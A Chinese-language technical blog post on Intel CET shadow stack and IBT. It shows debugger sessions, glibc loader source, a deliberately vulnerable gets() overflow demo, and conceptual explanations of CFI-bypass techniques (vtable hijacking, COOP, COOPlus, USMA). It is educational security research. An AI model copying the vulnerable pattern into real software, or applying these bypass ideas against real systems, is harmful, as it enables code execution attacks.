1fc:0fe0│  0x7ffff7bfffe0 —▸ 0x555555555160 (main+23) ◂— mov eax, 0
1fd:0fe8│  0x7ffff7bfffe8 —▸ 0x7ffff7da8e08 (__libc_start_call_main+120) ◂— mov edi, eax
1fe:0ff0│  0x7ffff7bffff0 —▸ 0x7ffff7da8ecc (__libc_start_main+140) ◂— mov r14, qword ptr [rip + 0x1c10a5]
1ff:0ff8│  0x7ffff7bffff8 —▸ 0x555555555075 (_start+37) ◂— hlt 
pwndbg> bt
#0  _IO_new_file_write (f=0x7ffff7f6b5c0 <_IO_2_1_stdout_>, data=0x5555555592a0, n=18) at fileops.c:1174
#1  0x00007ffff7e0d2dd in new_do_write (fp=0x7ffff7f6b5c0 <_IO_2_1_stdout_>, data=0x5555555592a0 "Hello, Intel CET!\n", 
    to_do=to_do@entry=18) at /usr/src/debug/glibc/glibc/libio/libioP.h:1030
#2  0x00007ffff7e0e191 in _IO_new_do_write (fp=fp@entry=0x7ffff7f6b5c0 <_IO_2_1_stdout_>, data=<optimized out>, to_do=18) at fileops.c:426
#3  0x00007ffff7e0e70b in _IO_new_file_overflow (f=0x7ffff7f6b5c0 <_IO_2_1_stdout_>, ch=10) at fileops.c:784
#4  0x00007ffff7e03dba in __GI__IO_puts (str=0x555555556004 "Hello, Intel CET!") at ioputs.c:41
#5  0x0000555555555160 in main ()
#6  0x00007ffff7da8e08 in __libc_start_call_main (main=main@entry=0x555555555149 <main>, argc=argc@entry=1, 
    argv=argv@entry=0x7fffffffe2f8) at ../sysdeps/nptl/libc_start_call_main.h:58
#7  0x00007ffff7da8ecc in __libc_start_main_impl (main=0x555555555149 <main>, argc=1, argv=0x7fffffffe2f8, init=<optimized out>, 
    fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe2e8) at ../csu/libc-start.c:360
#8  0x0000555555555075 in _start ()

可以看到程序运行时多出一个较大的匿名内存区域,这就是 Shadow Stack。在一个 glibc 中调用层级较深的函数下断点,可以看到 Shadow Stack 中存储了逐层函数返回地址(调用栈),与 back trace 相符。

我们可以试试在 SHSTK 开启时栈溢出修改栈上返回地址劫持控制流是否还有效。

#include <stdio.h>

int main() {
    char buf[0x10];
    gets(buf);
    return 0;
}
$ gcc -fcf-protection=full --ansi -fno-stack-protector main.c
pwndbg> r
Starting program: /home/rik/Desktop/a.out 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".
aaaaaaaaaaaaaaaaaaaaaaaa

Program received signal SIGSEGV, Segmentation fault.
0x0000555555555167 in main ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
──[ REGISTERS / show-flags off / show-compact-regs off ]──
 RAX  0
 RBX  0
 RCX  0x7ffff7f6c7c0 ◂— 0
 RDX  0x7ffff7f6c7c0 ◂— 0
 RDI  0x7fffffffe151 ◂— 'aaaaaaaaaaaaaaaaaaaaaaa'
 RSI  0x5555555592a1 ◂— 'aaaaaaaaaaaaaaaaaaaaaaa\n'
 R8   0x5555555592b9 ◂— 0
 R9   0xfbad2288
 R10  0
 R11  0x202
 R12  0x7fffffffe288 —▸ 0x7fffffffe658 ◂— '/home/rik/Desktop/a.out'
 R13  1
 R14  0x7ffff7ffd000 (_rtld_global) —▸ 0x7ffff7ffe310 —▸ 0x555555554000 ◂— 0x10102464c457f
 R15  0x555555557dd8 —▸ 0x5555555550f0 ◂— endbr64 
 RBP  0x6161616161616161 ('aaaaaaaa')
 RSP  0x7fffffffe168 —▸ 0x7ffff7dab600 ◂— cmp al, 0xff
 RIP  0x555555555167 (main+30) ◂— ret 
──[ DISASM / x86-64 / set emulate on ]──
 ► 0x555555555167 <main+30>    ret                                <0x7ffff7dab600>
     ↓
   0x7ffff7dab600              cmp    al, 0xff     0x0 - 0xff     EFLAGS => 0x213 [ CF pf AF zf sf IF df of ]
...
pwndbg> xinfo 0x7ffff7dab600
Extended information for virtual address 0x7ffff7dab600:

  Containing mapping:
    0x7ffff7da8000     0x7ffff7f18000 r-xp   170000  24000 /usr/lib/libc.so.6

可以看到程序在 ret 处就已经产生段错误,连 RIP 都还不是篡改后的地址。

用户态的 Shadow Stack 目前依旧是实验性的功能,在我自己电脑上测试,设置上述环境变量(on)后连 gdb 都打不开了...

Fatal signal: 段错误
----- Backtrace -----
0x5ef6d4be903e ???
0x5ef6d4d107c0 ???
0x5ef6d4d109bb ???
0x746656c4c1cf ???
0x7466508bf125 ???
---------------------
A fatal error internal to GDB has been detected, further
debugging is not possible.  GDB will now terminate.

This is a bug, please report it.  For instructions, see:
<https://www.gnu.org/software/gdb/bugs/>.

fish: Job 1, 'GLIBC_TUNABLES=glibc.cpu.x86_sh…' terminated by signal SIGSEGV (Address boundary error)

Linux 用户态启用 SHSTK 底层实现

Linux 用户态动态开关 Shadow Stack 主要依赖 arch_prctl 系统调用:

arch_prctl(ARCH_SHSTK_ENABLE, unsigned long feature)
    启用‘feature’指定的特性。一次只能操作一个特性。

arch_prctl(ARCH_SHSTK_DISABLE, unsigned long feature)
    关闭‘feature’指定的特性。一次只能操作一个特性。

arch_prctl(ARCH_SHSTK_LOCK, unsigned long features)
    锁定特性的启用或关闭状态。‘features’ 是所有需要锁定的特性的遮罩(按位或)。没有按位或设定的特性的锁定状态不变,之后无法再启用或关闭已锁定的特性。

arch_prctl(ARCH_SHSTK_UNLOCK, unsigned long features)
    锁定特性。‘features’ 是所有需要解锁的特性的遮罩。没有按位或设定的特性的锁定状态不变。只能在 ptrace 时使用。

arch_prctl(ARCH_SHSTK_STATUS, unsigned long addr)
    将当前启用的特性拷贝到 addr 地址处。特性启用状态描述方式同上述用法中传入的 ‘features’。

可指定的特性:
    ARCH_SHSTK_SHSTK - Shadow stack
    ARCH_SHSTK_WRSS  - WRSS

Glibc 动态链接器 ld.so 中有关启用 SHSTK 的源码sysdeps/unix/sysv/linux/x86_64/dl-cet.h):

/* 用宏启用 shadow stack 以避免调用栈下溢。(刚启用时 shadow stack 为空,此时若返回将触发保护。)*/
#define ENABLE_X86_CET(cet_feature)                \
  if ((cet_feature & GNU_PROPERTY_X86_FEATURE_1_SHSTK))        \
    {                                \
      long long int kernel_feature = ARCH_SHSTK_SHSTK;        \
      INTERNAL_SYSCALL_CALL (arch_prctl, ARCH_SHSTK_ENABLE,    \
                 kernel_feature);            \
    }

#define X86_STRINGIFY_1(x)    #x
#define X86_STRINGIFY(x)    X86_STRINGIFY_1 (x)

/* 如果已在 GL(dl_x86_feature_1) 启用,则在调用 _dl_init 前启用 shadow stack。调用 _dl_setup_x86_features 以初始化 shadow stack。*/
#define RTLD_START_ENABLE_X86_FEATURES \
"\
    # 检查 shadow stack 是否已在 GL(dl_x86_feature_1) 启用。\n\
    movl _rtld_local+" X86_STRINGIFY (RTLD_GLOBAL_DL_X86_FEATURE_1_OFFSET) "(%rip), %edx\n\
    testl $" X86_STRINGIFY (X86_FEATURE_1_SHSTK) ", %edx\n\
    jz 1f\n\
    # 如果在 GL(dl_x86_feature_1) 中启用,启用 shadow stack。\n\
    movl $" X86_STRINGIFY (ARCH_SHSTK_SHSTK) ", %esi\n\
    movl $" X86_STRINGIFY (ARCH_SHSTK_ENABLE) ", %edi\n\
    movl $" X86_STRINGIFY (__NR_arch_prctl) ", %eax\n\
    syscall\n\
1:\n\
    # 将 GL(dl_x86_feature_1) 传参给 _dl_cet_setup_features。\n\
    movl %edx, %edi\n\
    # 为调用 _dl_cet_setup_features 对齐栈指针。\n\
    andq $-16, %rsp\n\
    call _dl_cet_setup_features\n\
    # 从 %r12 和 %r13 恢复 %rax 和 %rsp。\n\
    movq %r12, %rax\n\
    movq %r13, %rsp\n\
"

所以其实可以这样手动在程序中使用 shadow stack 而无需依赖 glibc ld.so(注意要使用宏函数,原因见上方源码中注释):

#include <stdio.h>

#define ENABLE_SHSTK                                                           \
    asm("mov $0x5001, %rdi;"                                                   \
        "mov $0x1, %rsi;"                                                      \
        "mov $158, %rax;"                                                      \
        "syscall;");

#define DISABLE_SHSTK                                                          \
    asm("mov $0x5002, %rdi;"                                                   \
        "mov $0x1, %rsi;"                                                      \
        "mov $158, %rax;"                                                      \
        "syscall;");

int main(void) {
    ENABLE_SHSTK
    
    // ...
    
    DISABLE_SHSTK // 或者直接 exit(0);
    return 0;
}

SHSTK 内核底层实现

arch_prctl 在处理 SHSTK 相关操作时会转到 shstk_prctl,SHSTK 的主要逻辑就在 arch/x86/kernel/shstk.c。SHSTK 本身主要由硬件实现,内核只负责检查参数、管理 shadow stack 内存页、通过 wrss 指令设置相关寄存器和异常处理等。

在申请 shadow stack 内存页 do_mmap 时,flags 参数传入了一个新的标志 VM_SHADOW_STACKbootlin),这样 mmap 会额外申请一个保护页(guard page),这个页一旦被读写就会触发异常。Shadow stack 指针(ssp)移动方式有 pushpopincssp 指令,其中 incssp 指令移动 ssp 后会目标地址及相邻的内存,且 ssp 一次最多只能移动 2040 字节。加入 guard page 后可以防止程序通过 incssp 指令将 ssp 移动到用户可控的内存区。

(内核这块目前我还不清楚,以后补充吧。)

Intel CET 启用后的攻击思路

虽然 ROP 被 SHSTK 彻底拿下(😭),但是 IBT 提供的前向控制流保护只检查了跳转的地址是否合法,没考虑这个地址是否被替换。于是我们就有了新的攻击思路。

虚函数表劫持

我在 Mini L-CTF 2025 中恰好出了一道好评率为 0 的虚函数表劫持(virtual table hijack)相关的 Pwn 题(CTFers)。于是把那道题的题解搬到这里。

我们考虑这样的 C++ 程序:

#include <iostream>
#include <vector>

class Base {
  public:
    virtual void func() = 0; // 纯虚函数
};

class A : public Base {
    void func() override { std::cout << "I am A!\n"; }
};

class B : public Base {
    void func() override { std::cout << "I am B!\n"; }
};

int main() {
    std::vector<Base *> objs;

    objs.emplace_back(new A());
    objs.emplace_back(new B());
    for (auto obj : objs) {
        obj->func();
    }
}

// 输出:
// I am A!
// I am B!

AB 继承自 Basestd::vector 存储这两种对象时仅存储其基类对象指针(实际应该使用智能指针)而丢弃了具体的类型信息(A 还是 B?)。然而我们依旧可以直接调用对应类型的虚函数 func,这是因为 C++ 运行时多态特性。大多数编译器实现它的方式是虚函数表,在对象中存储一个虚函数表指针指向存储对应成员函数指针的虚函数表。虚函数被调用时首先从对象里的虚函数表指针指向的虚函数表中取出对应虚函数地址,然后再进行调用:

; rax 为对象地址
mov     rdx, qword [rax]          ; 取虚函数表
mov     rdx, qword [rdx + offset] ; 取虚函数
mov     rdi, rax                  ; 传 this 指针隐式作为首个参数
call    rdx                       ; 虚函数调用

所以,一个包含了虚函数的 C++ 对象的内存布局会是这样:

struct Object {
    void (**vtable)(struct Object *, ...); // 虚函数表指针
    
    /* 对象字段 ... */
};

如果我们能劫持虚函数表指针,指向伪造的虚函数表,其中包含类似 one_gadget 那样的后门函数或者 system 之类。可实际情况我们往往需要拼接多个代码片段达到任意代码执行的效果(用来泄露基址、执行 orw 等)。没有 ROP 的话怎么做到链式“拼接”代码片段呢?有研究人员提出了 COOP(虽然但是这大概是绕过 CFI 检查多种思路中相对困难的一种)

开启控制流完整性保护后第一时间考虑的攻击方式应该是各种 data-only(仅数据)攻击,不篡改控制流但篡改敏感数据从而控制程序行为。COOP 攻击只在很极端的情况才能达成,不过确实是一个挺有趣且并非前所未有的形式 :)。

COOP

COOP(Counterfeit Object Oriented Programming / 面向伪对象编程)是一种新的代码重用攻击。其实我们早已见过 COOP 攻击:高版本 glibc 堆利用往往结合 IO_FILE 利用,“打 IO”就是一种原始的 COOP,只是不在 C++ 中。通过篡改 IO_FILE 中某些作为跳表函数参数的字段,篡改 vtable,构造 system("/bin/sh")。然而我们的目标是实现几乎任意代码执行,需要真正的基于 vfgadgets 的 COOP。

Vfgadgets 是 COOP 论文提出的新型 gadgets,由于 SHSTK + IBT,我们能够利用的 gadgets 从 ret 前的代码片段(ROP gadgets)变成了完整的函数——vfgadget。vfgadgets 大致可以分为 Main Loop Gadget(将其他 vfgadgets 串联起来)、Argument Loader Gadget(类似 ROP 中的 pop rdi; ret;)、Invoker Gadget(类似 ROP 中的 system)和 Collector Gadget(存储 Invoker 的结果)。

img

以上是一张关于 COOP 攻击十分经典的配图

搜寻 vfgadgets 的工具(类似 ropper):https://github.com/x86-512/VXpp

我觉得理解 COOP 需要搞清楚这几种 vfgadgets 的来源,以下是高度简化的模型:

// 这个类实际上应该不会生成虚函数,所有 vfgadgets 也不是在同一个类中,只为简化理解。
class Vfgadgets {
    size_t data;              // 数据类型不是重点
    size_t *addr;
    std::vector<Base *> objs; // 也可以是更简单的:Base* objs[N];

    virtual void looper() {
        for (auto obj : objs) {
            obj->func();
        }
    }
    
    virtual void invoker() {
        this->victim_vfunc();
    }
    
    virtual void loader() {
        size_t var;       // 寄存器变量
        var = this->data; // 也可以是 var = *(this->addr) 之类
                          // 总之是从对象写入寄存器
    }

    virtual void collector(size_t arg) {
        this->data = arg; // 也可以是 *(this->addr) = arg; *(this->addr) = 1234; 之类
                          // 总之是从寄存器或立即数写入对象
    }
    
    virtual void victim_vfunc() {
        // 这里的函数体不是重点,反正会被篡改成另一个函数。
    }
};

其实为了给这些 vfgadgets 再分类,原论文用了很多概念和抽象,我写得还是过于不严谨了(应该比较直观吧)。这几种 vfgadgets 中最重要的是 Main Loop Gadget(Looper),它将所有真正有用的 vfgadgets 串联起来,构成链式调用,达到 ROP 不断返回到各种代码片段连成一串的效果。Looper 从当前对象字段中取出类似数组的容器,其中是有虚函数表的对象,并遍历执行每个对象的某个虚函数。这在开启了优化的大型 C++ 程序特别是 GUI 程序中比较常见,比如释放资源时调用虚析构函数,注册/注销事件之类。

COOP 的攻击条件是已知基址且能够伪造对象,例如 UAF 或者堆缓冲区溢出等漏洞,可以控制堆上分配的对象。我们需要伪造的东西有:

  1. Looper 所在对象(类比 FSOP 时篡改 _IO_list_all

    ​ 篡改其某即将被调用的虚函数为来自另一个对象或全局函数 (?) 的 Looper,再篡改这个 Looper 遍历的伪对象容器地址或内容(指针数组)。

  2. Looper 遍历的伪对象(类比 FSOP 时构造 fake files)

    ​ 将会被调用的虚函数改为其他三种 vfgadgets。

一旦 Looper 被调用,它就会逐个执行容器中一连串伪对象中的 vfgadgets。如果没有 IBT 只有 SHSTK 保护的话,那应该就可以直接把 ROP gadgets 当作 vfgadgets,只是这些 gadgets 不由 ret“触发”而是直接被 call,理应实现任意代码执行。如果开启了 IBT 就更加困难了,毕竟只能执行完整的函数 (?),而不是 ret 前的代码片段,不过依旧能够实现攻击。(据说 COOP 和 ROP 一样是图灵完备的,具体分析过程我还没看明白。)

这种玩法好像在哪里见过?

  • Glibc IO_FILE 利用中有种类似的手法 FSOP。FSOP 通过 _chain 链接任意读写原语,遍历 _IO_list_all_IO_flush_all 可以看作 looper。
  • 很像篡改 glibc ld.so _rtld_global 伪造 fini_arrayfini_array 类似那个容器,不过里面存的直接就是 vfgadgets,那么负责遍历调用 fini_array 中函数的 __run_exit_handlers 就像是 looper 了。

COOPlus 原论文的 presentation 里面有很多配图值得一看。

COOPlus

简单地通过修改虚函数表指针劫持虚函数表早就有了对应的保护措施,例如 gcc 的 virtual table verification(VTV)。虚函数表中会有一个类似 stack canary 的 magic number,在调用虚函数前会先校验虚函数表指针,虚函数表指针一定要指向虚函数表 ✍。我们熟悉的 glibc IO 也会检查 IO_FILE_plus 虚函数表指针 vtable,不过那是通过地址范围来检查。由于虚函数表一般都在只读段,所以不容易篡改。

然而如果我们在整个利用过程中所有虚函数表指针都合法呢?也就是只是将某个对象的虚函数表指针更换为另一个对象的。由于不同类的虚函数表往往放在一起,只需篡改虚函数表指针低位,无需泄露基址就可能更换虚函数表,从而实现越界修改对象字段等简单操作。这就是 COOPlus。COOPlus 主要用来扩大攻击面,通过 vfgadgets 篡改对象中的关键字段(例如权限等级、缓冲区长度等)从而进一步利用。

COOPlus 原论文设计了一个工具 VScape,可以自动扫描程序中 COOPlus 攻击原语。论文作者经过测试发现许多大型 C++ 程序都有不少适合 COOPlus 攻击的虚函数。

USMA

USMA 是由 360 漏洞研究院提出的一种 linux kernel 利用方式。“它允许普通用户进程可以映射内核态内存并且修改内核代码段,通过这个方法,我们可以绕过Linux内核中的CFI缓解措施,在内核态中执行任意代码。”

详细过程请看原文:USMA:用户态映射攻击

缓解措施

如果细粒度前向控制流完整性保护启用了的话,每次虚函数调用都要校验函数指针(而非只是表)的签名,那 COOP 应该就失效了。不过这样激进的保护应该不太可能大面积应用。

……

参考资料

COOP 原论文

COOPlus / VScape 原论文

Bypassing Intel CET with Counterfeit Objects

CVE-2015-5122: Exploitation Using COOP

《Counterfeit Object-oriented Programming》 论文笔记

顺带一提:最近在学习 linux kernel pwn 的时候发现所有的虚函数前面都有 __cfi_*“函数”,其开头是 moveax, 0x8f07ca55,后面有一些 nop 然后直接 fallthrough 进入真正的函数实现。稍微了解了下,这应该是 LLVM / Clang 引入的 CFI (Control Flow Intergrity) 检查。在调用这样的虚函数前,会先校验函数指针:如果函数指针指向的代码段内容第 1~4 个字节是 0x8f07ca55(第 0 个字节是 mov 指令),才通过检查,如果不是就进一步处理,大概率会直接 panic。类似 glibc tcache 对 key 的检查。控制流完整性检查在 linux 内核态已经相对完善,而且实现起来也比在用户态简单。